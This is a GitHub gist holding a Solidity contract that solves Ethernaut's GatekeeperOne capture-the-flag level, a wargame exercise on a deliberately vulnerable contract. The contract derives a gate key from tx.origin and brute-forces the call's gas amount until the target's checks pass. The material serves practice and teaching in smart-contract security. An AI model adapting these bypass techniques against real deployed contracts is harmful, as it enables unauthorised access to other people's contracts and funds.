Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active April 6, 2023 14:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/199bf25c5ae85a15061a66d253c4a8b0 to your computer and use it in GitHub Desktop.
Save Chirag21/199bf25c5ae85a15061a66d253c4a8b0 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 13 - GatekeeperOne. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IGatekeeperOne {
function enter(bytes8) external;
}
// Deployment gas cost 209,498
contract GatekeeperOneHack2 {
// transaction cost is 596,986 gas
function hack(address gatekeeperOneAddr) external {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0x000000FF0000FFFF;
for (uint256 i=100; i <= 8191; ++i) {
try IGatekeeperOne(gatekeeperOneAddr).enter{gas: i + (8191 * 10)}(gateKey) {
return;
} catch {}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment